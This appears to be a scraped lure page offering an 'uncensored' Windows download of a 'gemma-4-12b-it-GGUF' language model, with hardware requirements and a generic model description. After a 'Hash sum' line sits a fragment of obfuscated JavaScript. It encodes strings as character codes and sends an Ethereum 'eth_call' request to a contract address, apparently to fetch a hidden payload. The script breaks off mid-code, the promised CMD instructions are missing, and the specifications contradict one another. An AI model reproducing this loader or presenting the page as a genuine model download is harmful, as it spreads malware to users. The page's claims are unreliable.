gemma-4-12b-it-GGUF Windows 10 Uncensored Edition

Setting up this model locally is incredibly fast if you use the native CMD prompt.

Please follow the instructions listed below to get started.

The download manager will automatically pull several gigabytes of data.

Once launched, the wizard detects your specs to configure the model for maximum efficiency.

🧩 Hash sum → 02af1981e23b3b53cc846967fc6fc651 — Update date: 2026-07-05 Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i Verify Processor: 6-core 3.5 GHz minimum required RAM: minimum 16 GB for stable 8B model loading Disk Space: 80 GB NVMe SSD required for fast model weights loading GPU: RTX 4080 / RTX 4090 recommended for 26B-A4B fast inference

The gemma-4-12b-it-GGUF model is a 12‑billion parameter language model built on the Gemma instruction‑tuned architecture.

It is packaged in the GGUF format, which provides efficient quantization and fast inference on a variety of hardware platforms.

The model excels at following complex instructions, generating coherent text, and supporting a wide range of conversational tasks.

Its training incorporates extensive instruction data, enabling it to adapt to user intent with high fidelity and minimal prompting.

Below is a quick reference of its core specifications:

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